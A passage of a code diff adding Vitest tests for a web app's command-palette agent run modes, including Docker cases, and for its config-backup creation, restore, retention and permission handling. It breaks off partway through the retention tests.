app.openCommandPalette();
|
||||
elements.commandPaletteSearch.value = 'nomatch';
|
||||
app.renderCommandPalette();
|
||||
const index = app.commandPaletteItems.findIndex((i: any) => i.type === 'new-session');
|
||||
|
||||
expect(app.commandPaletteItems[index]).toMatchObject({ mode: 'claude', subtitle: 'Run Claude in plex-previews' });
|
||||
expect(elements.commandPaletteList.innerHTML).not.toContain('data-palette-agent-cycle');
|
||||
await app.activateCommandPaletteItem(index);
|
||||
expect(modeDuringRun).toBe('claude');
|
||||
expect(app._runMode).toBe('claude');
|
||||
});
|
||||
});
|
||||
|
||||
/** The toolbar Run menu's entries, as renderRegistryRunOptions() and index.html draw them. */
|
||||
function fakeRunMenu(modes: string[]) {
|
||||
const options = modes.map((mode) => ({ dataset: { mode }, style: { display: 'PRISTINE' } }));
|
||||
return {
|
||||
options,
|
||||
querySelectorAll: (selector: string) => (selector === '.run-mode-option[data-mode]' ? options : []),
|
||||
querySelector: () => null,
|
||||
prepend: vi.fn(),
|
||||
};
|
||||
}
|
||||
const shownByRunMenu = (menu: ReturnType<typeof fakeRunMenu>) =>
|
||||
menu.options.filter((option) => option.style.display === 'flex').map((option) => option.dataset.mode);
|
||||
|
||||
/**
|
||||
* A palette with session-ui.js loaded, so the agent list goes through the Run
|
||||
* menu's real availability rule. Host flags as in loadAgentPalette (no codex
|
||||
* here); the active case is a Docker case with the given `docker` record.
|
||||
*/
|
||||
function loadDockerPalette(docker: Record<string, any>) {
|
||||
const harness = loadAgentPalette(PALETTE_CATALOG, { sessionUi: true });
|
||||
harness.app.cases = [
|
||||
{ name: 'plex-previews' },
|
||||
{ name: 'far', location: 'remote' },
|
||||
{ name: 'dock', location: 'docker', docker },
|
||||
];
|
||||
harness.elements.quickStartCase.value = 'dock';
|
||||
harness.app.selectQuickStartCase = vi.fn();
|
||||
// The Run menu's live container probe is a docker exec round trip; here it
|
||||
// never lands, which is also what a probe still in flight looks like.
|
||||
harness.app._probeDockerCaseModes = vi.fn();
|
||||
return harness;
|
||||
}
|
||||
|
||||
const ADOPTED = { owned: false, hostId: 'local', container: 'dev-box', availableModes: ['shell', 'claude', 'codex'] };
|
||||
|
||||
describe('Command-K new-session agents follow the Run menu for the row case', () => {
|
||||
it('offers a Docker case its container agents and starts on a container-only Run mode', async () => {
|
||||
// codex is missing on the host but ships in the container, and the Run
|
||||
// button is on it (picked from the Run menu, which gates on the container).
|
||||
const { app, elements } = loadDockerPalette(ADOPTED);
|
||||
app._runMode = 'codex';
|
||||
let modeDuringRun: string | undefined;
|
||||
app.run = vi.fn(async () => {
|
||||
modeDuringRun = app._runMode;
|
||||
});
|
||||
|
||||
app.openCommandPalette();
|
||||
elements.commandPaletteSearch.value = 'nomatch';
|
||||
app.renderCommandPalette();
|
||||
const index = app.commandPaletteItems.findIndex((i: any) => i.type === 'new-session');
|
||||
|
||||
expect(app._commandPaletteAgentChoices('dock').map((c: any) => c.id)).toEqual(['claude', 'shell', 'codex']);
|
||||
expect(app.commandPaletteItems[index]).toMatchObject({
|
||||
caseName: 'dock',
|
||||
mode: 'codex',
|
||||
subtitle: 'Run Codex in dock',
|
||||
});
|
||||
expect(elements.commandPaletteList.innerHTML).toContain('run-mode-dot codex');
|
||||
|
||||
// The same agents the Run menu shows for this case.
|
||||
const menu = fakeRunMenu(['claude', 'codex', 'opencode', 'shell']);
|
||||
app._refreshRunModeAvailability(menu);
|
||||
expect(shownByRunMenu(menu)).toEqual(['claude', 'codex']);
|
||||
|
||||
await app.activateCommandPaletteItem(index);
|
||||
expect(modeDuringRun).toBe('codex');
|
||||
expect(app._runMode).toBe('codex');
|
||||
});
|
||||
|
||||
it('offers every enabled agent for an owned container nothing has probed yet, and then follows the probe', () => {
|
||||
// An owned container runs the base image, which ships every CLI, and before
|
||||
// its first session there is nothing to probe: like the Run menu, an unknown
|
||||
// list does not gate, so a probe still in flight cannot empty the row.
|
||||
const { app } = loadDockerPalette({ owned: true, hostId: 'local', container: 'codeman-dock' });
|
||||
app._runMode = 'codex';
|
||||
|
||||
app.openCommandPalette();
|
||||
|
||||
expect(app._commandPaletteAgentChoices('dock').map((c: any) => c.id)).toEqual([
|
||||
'claude',
|
||||
'shell',
|
||||
'codex',
|
||||
'opencode',
|
||||
]);
|
||||
expect(app.commandPaletteItems.find((i: any) => i.type === 'new-session').mode).toBe('codex');
|
||||
// The palette reads what the Run menu learned; it never starts a docker exec itself.
|
||||
expect(app._probeDockerCaseModes).not.toHaveBeenCalled();
|
||||
const menu = fakeRunMenu(['claude', 'codex', 'opencode', 'shell']);
|
||||
app._refreshRunModeAvailability(menu);
|
||||
expect(shownByRunMenu(menu)).toEqual(['claude', 'codex', 'opencode']);
|
||||
|
||||
// Once the live probe has landed, both follow it.
|
||||
app._dockerCaseModes = { dock: ['shell', 'opencode'] };
|
||||
expect(app._commandPaletteAgentChoices('dock').map((c: any) => c.id)).toEqual(['shell', 'opencode']);
|
||||
app._refreshRunModeAvailability(menu);
|
||||
expect(shownByRunMenu(menu)).toEqual(['opencode']);
|
||||
});
|
||||
|
||||
it('keeps the host rule for local and remote cases, and follows the case the query names', () => {
|
||||
const { app, elements } = loadDockerPalette(ADOPTED);
|
||||
elements.quickStartCase.value = 'plex-previews';
|
||||
app._runMode = 'codex'; // missing on the host
|
||||
const row = () => app.commandPaletteItems.find((i: any) => i.type === 'new-session');
|
||||
|
||||
app.openCommandPalette();
|
||||
|
||||
expect(app._commandPaletteAgentChoices('plex-previews').map((c: any) => c.id)).toEqual([
|
||||
'claude',
|
||||
'shell',
|
||||
'opencode',
|
||||
]);
|
||||
expect(app._commandPaletteAgentChoices('far').map((c: any) => c.id)).toEqual(['claude', 'shell', 'opencode']);
|
||||
expect(row()).toMatchObject({ caseName: 'plex-previews', mode: 'claude' });
|
||||
|
||||
// Typing the Docker case's name moves the row there, where the container
|
||||
// has the Run button's codex, so the row starts on it.
|
||||
elements.commandPaletteSearch.value = 'dock';
|
||||
app.renderCommandPalette();
|
||||
expect(row()).toMatchObject({ caseName: 'dock', mode: 'codex' });
|
||||
});
|
||||
});
|
||||
|
||||
describe('Session Manager unified list', () => {
|
||||
it('maps UnifiedSessionItem fields to the history-record shape and routes clicks by liveness', async () => {
|
||||
const { app, elements } = loadPaletteHarness({
|
||||
|
||||
@@ -0,0 +1,59 @@
|
||||
/**
|
||||
* @fileoverview The snapshot origin must survive a hostname change (a Docker container gets a new
|
||||
* hostname on every recreate) and still differ between data dirs.
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
|
||||
const host = vi.hoisted(() => ({ name: 'container-a' }));
|
||||
vi.mock('node:os', async (importOriginal) => ({
|
||||
...(await importOriginal<typeof import('node:os')>()),
|
||||
hostname: () => host.name,
|
||||
}));
|
||||
|
||||
import {
|
||||
configBackupOrigin,
|
||||
createConfigBackup,
|
||||
listConfigBackups,
|
||||
pruneConfigBackups,
|
||||
restoreConfigBackup,
|
||||
} from '../src/config-backup.js';
|
||||
|
||||
let root: string;
|
||||
let data: string;
|
||||
let backups: string;
|
||||
beforeEach(() => {
|
||||
root = mkdtempSync(join(tmpdir(), 'cfg-origin-'));
|
||||
data = join(root, 'data');
|
||||
backups = join(root, 'backups');
|
||||
mkdirSync(data, { recursive: true });
|
||||
writeFileSync(join(data, 'settings.json'), '{"a":1}');
|
||||
host.name = 'container-a';
|
||||
});
|
||||
afterEach(() => rmSync(root, { recursive: true, force: true }));
|
||||
|
||||
describe('configBackupOrigin', () => {
|
||||
it('is made once, kept in the data dir, and differs between data dirs', () => {
|
||||
const a = configBackupOrigin(data);
|
||||
expect(configBackupOrigin(data)).toBe(a);
|
||||
expect(readFileSync(join(data, 'config-backup-id'), 'utf8').trim()).toBe(a);
|
||||
const other = join(root, 'other');
|
||||
expect(configBackupOrigin(other)).not.toBe(a);
|
||||
});
|
||||
|
||||
it('keeps snapshots listed, restorable and prunable after the hostname changes', () => {
|
||||
const made = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: 1_000_000 }) as {
|
||||
id: string;
|
||||
};
|
||||
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'manual', force: true, now: 2_000_000 });
|
||||
host.name = 'container-b'; // the container was recreated
|
||||
const origin = configBackupOrigin(data);
|
||||
expect(listConfigBackups(backups, origin)).toHaveLength(2);
|
||||
writeFileSync(join(data, 'settings.json'), '{"a":2}'); // a change, so the restore takes a pre-restore copy
|
||||
expect(() => restoreConfigBackup({ dataDir: data, backupDir: backups, id: made.id })).not.toThrow();
|
||||
const removed = pruneConfigBackups(backups, { keepCount: 1, keepDays: 0, origin });
|
||||
expect(removed).toHaveLength(2); // 3 now: the restore took a pre-restore copy
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,188 @@
|
||||
/**
|
||||
* @fileoverview Restoring settings.json from inside App Settings must refill the form, or Save
|
||||
* would PUT the pre-restore values back over the restored file. Evaluates the real settings-ui.js
|
||||
* against a stub app.
|
||||
*/
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import vm from 'node:vm';
|
||||
|
||||
const SRC = readFileSync(new URL('../src/web/public/settings-ui.js', import.meta.url), 'utf-8');
|
||||
|
||||
function makeApp(
|
||||
restored: string[],
|
||||
confirmed = true,
|
||||
reply: { ok: boolean; body: unknown } = { ok: true, body: { success: true, data: { restored, restartRequired: [] } } }
|
||||
) {
|
||||
const calls: string[] = [];
|
||||
const confirms: string[] = [];
|
||||
const toasts: Array<[string, string]> = [];
|
||||
function CodemanApp(this: unknown) {}
|
||||
const ctx = vm.createContext({
|
||||
CodemanApp,
|
||||
window: {},
|
||||
document: {},
|
||||
confirm: (m: string) => (confirms.push(m), confirmed),
|
||||
escapeHtml: (s: string) => s,
|
||||
});
|
||||
vm.runInContext(SRC, ctx);
|
||||
const app = Object.create((CodemanApp as unknown as { prototype: object }).prototype) as Record<string, unknown>;
|
||||
Object.assign(app, {
|
||||
_configBackups: [
|
||||
{
|
||||
id: 'cfg-1',
|
||||
files: [{ name: 'settings.json' }, { name: 'users.json' }, { name: '.env' }, { name: 'clis.json' }],
|
||||
},
|
||||
],
|
||||
_apiPost: async () => ({ ok: reply.ok, json: async () => reply.body }),
|
||||
loadAppSettingsFromServer: async () => void calls.push('reload-settings'),
|
||||
openAppSettings: () => void calls.push('refill-form'),
|
||||
loadConfigBackups: () => void calls.push('reload-list'),
|
||||
showToast: (m: string, type: string) => void toasts.push([m, type]),
|
||||
});
|
||||
return { app, calls, confirms, toasts };
|
||||
}
|
||||
|
||||
describe('restoreConfigBackup (Settings UI)', () => {
|
||||
it('re-reads settings into the form when settings.json was restored', async () => {
|
||||
const { app, calls } = makeApp(['settings.json', 'clis.json']);
|
||||
await (app.restoreConfigBackup as (id: string) => Promise<void>)('cfg-1');
|
||||
expect(calls).toEqual(['reload-settings', 'refill-form', 'reload-list']);
|
||||
});
|
||||
|
||||
it('leaves the form alone when settings.json was not part of the restore', async () => {
|
||||
const { app, calls } = makeApp(['clis.json']);
|
||||
await (app.restoreConfigBackup as (id: string) => Promise<void>)('cfg-1');
|
||||
expect(calls).toEqual(['reload-list']);
|
||||
});
|
||||
|
||||
it('a restore that failed partway still refills the form when settings.json was among the files written', async () => {
|
||||
const { app, calls, toasts } = makeApp([], true, {
|
||||
ok: false,
|
||||
body: {
|
||||
success: false,
|
||||
errorCode: 'OPERATION_FAILED',
|
||||
error: 'Restore incomplete: could not write clis.json (EISDIR); settings.json restored',
|
||||
data: {
|
||||
restored: ['settings.json'],
|
||||
failed: [{ name: 'clis.json', error: 'EISDIR' }],
|
||||
safetySnapshot: 'cfg-2',
|
||||
restartRequired: ['settings.json'],
|
||||
},
|
||||
},
|
||||
});
|
||||
await (app.restoreConfigBackup as (id: string) => Promise<void>)('cfg-1');
|
||||
expect(calls).toEqual(['reload-settings', 'refill-form', 'reload-list']);
|
||||
expect(toasts).toHaveLength(1);
|
||||
expect(toasts[0][1]).toBe('error');
|
||||
expect(toasts[0][0]).toContain('clis.json');
|
||||
});
|
||||
|
||||
it('a refused restore (nothing written) only reports the error', async () => {
|
||||
const { app, calls, toasts } = makeApp([], true, {
|
||||
ok: false,
|
||||
body: { success: false, errorCode: 'CONFLICT', error: 'settings.json does not match its checksum' },
|
||||
});
|
||||
await (app.restoreConfigBackup as (id: string) => Promise<void>)('cfg-1');
|
||||
expect(calls).toEqual([]);
|
||||
expect(toasts).toEqual([['settings.json does not match its checksum', 'error']]);
|
||||
});
|
||||
|
||||
it('names the files being replaced and calls out the credential ones', async () => {
|
||||
const { app, confirms } = makeApp(['settings.json'], false);
|
||||
await (app.restoreConfigBackup as (id: string) => Promise<void>)('cfg-1');
|
||||
expect(confirms[0]).toContain('settings.json, users.json, .env, clis.json');
|
||||
expect(confirms[0]).toContain('credentials');
|
||||
expect(confirms[0]).toMatch(/users\.json, \.env\)/);
|
||||
});
|
||||
});
|
||||
|
||||
describe('loadConfigBackups (retention fields)', () => {
|
||||
function load(saved: Record<string, unknown>) {
|
||||
const inputs: Record<string, { value: string; placeholder: string }> = {
|
||||
appSettingsConfigBackupKeepCount: { value: '20', placeholder: '' },
|
||||
appSettingsConfigBackupKeepDays: { value: '30', placeholder: '' },
|
||||
appSettingsConfigBackupDir: { value: '', placeholder: '' },
|
||||
};
|
||||
function CodemanApp(this: unknown) {}
|
||||
const ctx = vm.createContext({
|
||||
CodemanApp,
|
||||
window: {},
|
||||
document: { getElementById: (id: string) => inputs[id] ?? null },
|
||||
escapeHtml: (s: string) => s,
|
||||
});
|
||||
vm.runInContext(SRC, ctx);
|
||||
const app = Object.create((CodemanApp as unknown as { prototype: object }).prototype) as Record<string, unknown>;
|
||||
Object.assign(app, {
|
||||
$: () => ({ textContent: '', innerHTML: '' }),
|
||||
loadAppSettingsFromStorage: () => saved,
|
||||
_api: async () => ({
|
||||
ok: true,
|
||||
json: async () => ({
|
||||
success: true,
|
||||
data: { settings: { keepCount: 100, keepDays: 0 }, dir: '/d', defaultDir: '/d', backups: [] },
|
||||
}),
|
||||
}),
|
||||
});
|
||||
return { app, inputs };
|
||||
}
|
||||
|
||||
it('shows the retention the passes use when settings.json has none of the keys (a reset file)', async () => {
|
||||
const { app, inputs } = load({});
|
||||
await (app.loadConfigBackups as () => Promise<void>)();
|
||||
expect(inputs.appSettingsConfigBackupKeepCount.value).toBe(100);
|
||||
expect(inputs.appSettingsConfigBackupKeepDays.value).toBe(0);
|
||||
});
|
||||
|
||||
it('leaves the form alone when the saved settings state the retention', async () => {
|
||||
const { app, inputs } = load({ configBackupKeepCount: 7, configBackupKeepDays: 9 });
|
||||
await (app.loadConfigBackups as () => Promise<void>)();
|
||||
expect(inputs.appSettingsConfigBackupKeepCount.value).toBe('20'); // the open-settings code owns it
|
||||
});
|
||||
});
|
||||
|
||||
describe('Save and the displayed retention', () => {
|
||||
function payload(
|
||||
prev: Record<string, unknown>,
|
||||
touched: { count?: boolean; days?: boolean },
|
||||
count = '100',
|
||||
days = '0'
|
||||
) {
|
||||
const inputs: Record<string, { value: string; dataset: Record<string, string> }> = {
|
||||
appSettingsConfigBackupKeepCount: { value: count, dataset: touched.count ? { touched: '1' } : {} },
|
||||
appSettingsConfigBackupKeepDays: { value: days, dataset: touched.days ? { touched: '1' } : {} },
|
||||
};
|
||||
function CodemanApp(this: unknown) {}
|
||||
const ctx = vm.createContext({
|
||||
CodemanApp,
|
||||
window: {},
|
||||
document: { getElementById: (id: string) => inputs[id] },
|
||||
});
|
||||
vm.runInContext(SRC, ctx);
|
||||
const app = Object.create((CodemanApp as unknown as { prototype: object }).prototype) as Record<string, unknown>;
|
||||
return (app._configBackupRetentionPayload as (p: Record<string, unknown>) => Record<string, unknown>).call(
|
||||
app,
|
||||
prev
|
||||
);
|
||||
}
|
||||
|
||||
it('leaves out a retention value that was only displayed (a reset settings.json)', () => {
|
||||
expect(payload({}, {})).toEqual({});
|
||||
});
|
||||
|
||||
it('sends a value that was saved before, or edited here, and only that one', () => {
|
||||
expect(payload({ configBackupKeepCount: 100 }, {})).toEqual({ configBackupKeepCount: 100 });
|
||||
expect(payload({}, { days: true })).toEqual({ configBackupKeepDays: 0 });
|
||||
expect(payload({}, { count: true, days: true }, '5', '7')).toEqual({
|
||||
configBackupKeepCount: 5,
|
||||
configBackupKeepDays: 7,
|
||||
});
|
||||
});
|
||||
|
||||
it('clamps like the form always did', () => {
|
||||
expect(payload({}, { count: true, days: true }, '1', '99999')).toEqual({
|
||||
configBackupKeepCount: 2,
|
||||
configBackupKeepDays: 3650,
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,690 @@
|
||||
/**
|
||||
* @fileoverview Config backups (src/config-backup.ts): what is tracked, when a snapshot is made,
|
||||
* how retention prunes, and that restore verifies before it writes. Pure fs over temp dirs;
|
||||
* port: N/A.
|
||||
*/
|
||||
import {
|
||||
chmodSync,
|
||||
existsSync,
|
||||
mkdirSync,
|
||||
mkdtempSync,
|
||||
readdirSync,
|
||||
readFileSync,
|
||||
rmSync,
|
||||
symlinkSync,
|
||||
statSync,
|
||||
writeFileSync,
|
||||
} from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
|
||||
import {
|
||||
CONFIG_BACKUP_FILES,
|
||||
ConfigBackupCorruptError,
|
||||
ConfigBackupNotFoundError,
|
||||
ConfigBackupPartialRestoreError,
|
||||
createConfigBackup,
|
||||
defaultConfigBackupDir,
|
||||
diffConfigBackups,
|
||||
listConfigBackups,
|
||||
normalizeBackupDir,
|
||||
pruneConfigBackups,
|
||||
readConfigBackupSettings,
|
||||
resolveConfigBackupDir,
|
||||
restoreConfigBackup,
|
||||
configBackupOrigin,
|
||||
latestBackupRetention,
|
||||
sweepConfigBackupTemps,
|
||||
} from '../src/config-backup.js';
|
||||
|
||||
let root: string;
|
||||
let data: string;
|
||||
let backups: string;
|
||||
beforeEach(() => {
|
||||
root = mkdtempSync(join(tmpdir(), 'cfg-backup-'));
|
||||
data = join(root, 'data');
|
||||
backups = join(root, 'backups');
|
||||
mkdirSync(data);
|
||||
});
|
||||
afterEach(() => rmSync(root, { recursive: true, force: true }));
|
||||
|
||||
const put = (name: string, text: string) => writeFileSync(join(data, name), text);
|
||||
const DAY = 86_400_000;
|
||||
const T0 = Date.UTC(2026, 9, 1, 12, 0, 0);
|
||||
|
||||
describe('settings', () => {
|
||||
it('defaults to ON, 20 copies, 30 days, default folder', () => {
|
||||
expect(readConfigBackupSettings({})).toEqual({ enabled: true, dir: null, keepCount: 20, keepDays: 30 });
|
||||
expect(readConfigBackupSettings(null).enabled).toBe(true);
|
||||
});
|
||||
|
||||
it('only an explicit false turns it off, and numbers are clamped to their ranges', () => {
|
||||
expect(readConfigBackupSettings({ configBackupEnabled: false }).enabled).toBe(false);
|
||||
const s = readConfigBackupSettings({ configBackupKeepCount: 9999, configBackupKeepDays: -3 });
|
||||
expect(s.keepCount).toBe(500);
|
||||
expect(s.keepDays).toBe(0);
|
||||
expect(readConfigBackupSettings({ configBackupKeepCount: 0 }).keepCount).toBe(2);
|
||||
expect(readConfigBackupSettings({ configBackupKeepCount: 'abc' }).keepCount).toBe(20);
|
||||
expect(readConfigBackupSettings({ configBackupKeepCount: 7.9 }).keepCount).toBe(7);
|
||||
});
|
||||
|
||||
it('expands ~ and refuses anything that is not an absolute path', () => {
|
||||
expect(normalizeBackupDir('~/cfg', '/home/u')).toBe('/home/u/cfg');
|
||||
expect(normalizeBackupDir('/mnt/backups/codeman', '/home/u')).toBe('/mnt/backups/codeman');
|
||||
for (const bad of ['', ' ', 'relative/dir', './here', undefined, 42, '/x\0y']) {
|
||||
expect(normalizeBackupDir(bad as never, '/home/u'), String(bad)).toBeNull();
|
||||
}
|
||||
});
|
||||
|
||||
it('uses <data dir>/backups/config by default and never the data dir itself', () => {
|
||||
expect(resolveConfigBackupDir(readConfigBackupSettings({}), '/d')).toBe(defaultConfigBackupDir('/d'));
|
||||
expect(resolveConfigBackupDir(readConfigBackupSettings({ configBackupDir: '/elsewhere' }), '/d')).toBe(
|
||||
'/elsewhere'
|
||||
);
|
||||
expect(resolveConfigBackupDir(readConfigBackupSettings({ configBackupDir: '/d' }), '/d')).toBe(
|
||||
defaultConfigBackupDir('/d')
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('createConfigBackup', () => {
|
||||
it('snapshots only the tracked files that exist, with a manifest', () => {
|
||||
put('settings.json', '{"a":1}');
|
||||
put('clis.json', '{"clis":{}}');
|
||||
put('state.json', '{"runtime":true}'); // not config: must not be copied
|
||||
put('hook-secret', 'x'); // regenerated: must not be copied
|
||||
const r = createConfigBackup({
|
||||
dataDir: data,
|
||||
backupDir: backups,
|
||||
reason: 'startup',
|
||||
appVersion: '1.2.3',
|
||||
now: T0,
|
||||
});
|
||||
expect(r.status).toBe('created');
|
||||
const [b] = listConfigBackups(backups);
|
||||
expect(b.files.map((f) => f.name).sort()).toEqual(['clis.json', 'settings.json']);
|
||||
expect(b.reason).toBe('startup');
|
||||
expect(b.appVersion).toBe('1.2.3');
|
||||
expect(b.createdAt).toBe(T0);
|
||||
expect(existsSync(join(backups, b.id, 'state.json'))).toBe(false);
|
||||
expect(readFileSync(join(backups, b.id, 'settings.json'), 'utf8')).toBe('{"a":1}');
|
||||
});
|
||||
|
||||
it('tracks a fixed allowlist', () => {
|
||||
expect([...CONFIG_BACKUP_FILES]).toContain('settings.json');
|
||||
expect([...CONFIG_BACKUP_FILES]).not.toContain('state.json');
|
||||
expect([...CONFIG_BACKUP_FILES]).not.toContain('hook-secret');
|
||||
});
|
||||
|
||||
it('makes no second snapshot while nothing changed, and one when something does', () => {
|
||||
put('settings.json', '{"a":1}');
|
||||
const first = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 });
|
||||
const again = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 1000 });
|
||||
expect(again).toEqual({ status: 'unchanged', id: (first as { id: string }).id });
|
||||
expect(listConfigBackups(backups)).toHaveLength(1);
|
||||
|
||||
put('settings.json', '{"a":2}');
|
||||
expect(createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 2000 }).status).toBe(
|
||||
'created'
|
||||
);
|
||||
expect(listConfigBackups(backups)).toHaveLength(2);
|
||||
});
|
||||
|
||||
it('does not count a self-refreshed discovery timestamp as a change', () => {
|
||||
const hosts = (stamp: string, model = 'm1') =>
|
||||
JSON.stringify({ hosts: [{ id: 'h', models: [{ id: model }], lastDiscoveredAt: stamp }] });
|
||||
put('custom-model-hosts.json', hosts('2026-10-12T08:44:22.026Z'));
|
||||
const first = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 });
|
||||
|
||||
// The 5-minute discovery poll rewrites only the timestamp: still the same state.
|
||||
put('custom-model-hosts.json', hosts('2026-10-12T08:49:22.025Z'));
|
||||
const again = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 1000 });
|
||||
expect(again).toEqual({ status: 'unchanged', id: (first as { id: string }).id });
|
||||
expect(listConfigBackups(backups)).toHaveLength(1);
|
||||
|
||||
// A real edit next to a refreshed timestamp is still a change, stored exactly as written.
|
||||
const edited = hosts('2026-10-12T08:54:22.025Z', 'm2');
|
||||
put('custom-model-hosts.json', edited);
|
||||
const third = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 2000 });
|
||||
expect(third.status).toBe('created');
|
||||
expect(readFileSync(join(backups, (third as { id: string }).id, 'custom-model-hosts.json'), 'utf8')).toBe(edited);
|
||||
});
|
||||
|
||||
it.each([
|
||||
[
|
||||
'webviews.json',
|
||||
(n: number) =>
|
||||
JSON.stringify([
|
||||
{
|
||||
id: 'w1',
|
||||
name: 'Grafana',
|
||||
url: 'http://localhost:3001',
|
||||
embedMode: 'proxy',
|
||||
trusted: false,
|
||||
createdAt: 1,
|
||||
lastOpenedAt: n,
|
||||
},
|
||||
]),
|
||||
'name',
|
||||
],
|
||||
[
|
||||
'docker-cases.json',
|
||||
(n: number) => JSON.stringify([{ name: 'app', hostId: 'h', lastClaudeSessionId: `c${n}` }]),
|
||||
'hostId',
|
||||
],
|
||||
['users.json', (n: number) => JSON.stringify({ users: [{ name: 'a', role: 'admin', lastLoginAt: n }] }), 'role'],
|
||||
[
|
||||
'settings.json',
|
||||
(n: number) => JSON.stringify({ displayName: 'x', lastUsedCase: `case-${n}`, lastPickedCase: `case-${n}` }),
|
||||
'displayName',
|
||||
],
|
||||
[
|
||||
'intents.json',
|
||||
(n: number) => JSON.stringify({ profiles: [{ key: 'k', goals: 'g', updatedAt: n, recentPrompts: [`p${n}`] }] }),
|
||||
'goals',
|
||||
],
|
||||
])('does not count activity in %s as a change, but does count an edit next to it', (name, make, editKey) => {
|
||||
put(name, make(1));
|
||||
const first = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 });
|
||||
put(name, make(2));
|
||||
expect(createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 1000 })).toEqual({
|
||||
status: 'unchanged',
|
||||
id: (first as { id: string }).id,
|
||||
});
|
||||
put(name, make(3).replace(new RegExp(`"${editKey}":"[^"]*"`), `"${editKey}":"edited"`));
|
||||
expect(createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 2000 }).status).toBe(
|
||||
'created'
|
||||
);
|
||||
});
|
||||
|
||||
it('compares a tracked file that is not valid JSON by its bytes', () => {
|
||||
put('custom-model-hosts.json', 'not json lastDiscoveredAt 1');
|
||||
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 });
|
||||
put('custom-model-hosts.json', 'not json lastDiscoveredAt 2');
|
||||
expect(createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + 1000 }).status).toBe(
|
||||
'created'
|
||||
);
|
||||
});
|
||||
|
||||
it('force makes a snapshot even when unchanged, and two in one second get distinct ids', () => {
|
||||
put('settings.json', '{}');
|
||||
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'a', now: T0 });
|
||||
const forced = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'manual', force: true, now: T0 });
|
||||
expect(forced.status).toBe('created');
|
||||
const ids = listConfigBackups(backups).map((b) => b.id);
|
||||
expect(new Set(ids).size).toBe(2);
|
||||
});
|
||||
|
||||
it('reports empty, creating nothing, when no tracked file exists', () => {
|
||||
expect(createConfigBackup({ dataDir: data, backupDir: backups, reason: 'x' })).toEqual({ status: 'empty' });
|
||||
expect(existsSync(backups)).toBe(false);
|
||||
});
|
||||
|
||||
it('keeps snapshots private: 0700 folder and 0600 files', () => {
|
||||
put('settings.json', '{}');
|
||||
put('.env', 'CODEMAN_PASSWORD=secret');
|
||||
const r = createConfigBackup({ dataDir: data, backupDir: backups, reason: 'x', now: T0 });
|
||||
const id = (r as { id: string }).id;
|
||||
expect(statSync(join(backups, id)).mode & 0o777).toBe(0o700);
|
||||
expect(statSync(join(backups, id, '.env')).mode & 0o777).toBe(0o600);
|
||||
expect(statSync(join(backups, id, 'manifest.json')).mode & 0o777).toBe(0o600);
|
||||
});
|
||||
|
||||
it('leaves no temp folder behind', () => {
|
||||
put('settings.json', '{}');
|
||||
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'x', now: T0 });
|
||||
const stray = readdirSync(backups).filter((n) => n.startsWith('.tmp-'));
|
||||
expect(stray).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('retention', () => {
|
||||
const makeN = (n: number) => {
|
||||
for (let i = 0; i < n; i++) {
|
||||
put('settings.json', JSON.stringify({ i }));
|
||||
createConfigBackup({ dataDir: data, backupDir: backups, reason: 'auto', now: T0 + i * DAY });
|
||||
}
|
||||
};
|
||||
|
||||
it('keeps the newest keepCount', () => {
|
||||
makeN(6);
|
||||
const removed = pruneConfigBackups(backups, { keepCount: 3, keepDays: 0, now: T0 + 6 * DAY });
|
||||
expect(removed).toHaveLength(3);
|
||||
const left = listConfigBackups(backups);
|
||||
expect(left).toHaveLength(3);
|
||||
expect(left.map((b) => b.createdAt)).toEqual([T0 + 5 * DAY, T0 + 4 * DAY, T0 + 3 * DAY]);
|
||||
});
|
||||
|
||||
it('drops anything older than keepDays, but never the newest', () => {
|
||||
makeN(4); // T0 .. T0+3d
|
||||
// At T0+100d everything is older than 30 days: the newest still survives.
|
||||
const removed = pruneConfigBackups(backups, { keepCount: 50, keepDays: 30, now: T0 + 100 * DAY });
|
||||
expect(removed).toHaveLength(3);
|
||||
expect(listConfigBackups(backups).map((b) => b.createdAt)).toEqual([T0 + 3 * DAY]);
|
||||
});
|
||||
|
||||
it('applies both limits together and keepDays 0 means no age limit', () => {
|
||||
makeN(5);
|
||||
expect(pruneConfigBackups(backups, { keepCount: 50, keepDays: 0, now: T0 + 999 * DAY })).toEqual([]);
|
||||
const removed = pruneConfigBackups(backups, { keepCount: 4, keepDays: 3, now: T0 + 5 * DAY });
|
||||
// Newest first: T0+4d, +3d, +2d, +1d, T0. A snapshot ages from its successor: T0+1d was live
|
||||
// until T0+2d, which sits exactly on the cutoff (kept); only T0 is over the count.
|
||||
expect(removed.length).toBe(1);
|
||||
expect(listConfigBackups(backups).map((b) => b.createdAt)).toEqual([
|
||||
T0 + 4 * DAY,
|
||||
T0 + 3 * DAY,
|
||||
T0 + 2 * DAY,
|
||||
T0 + DAY,
|
||||
]);
|
||||
});
|
||||
|
||||
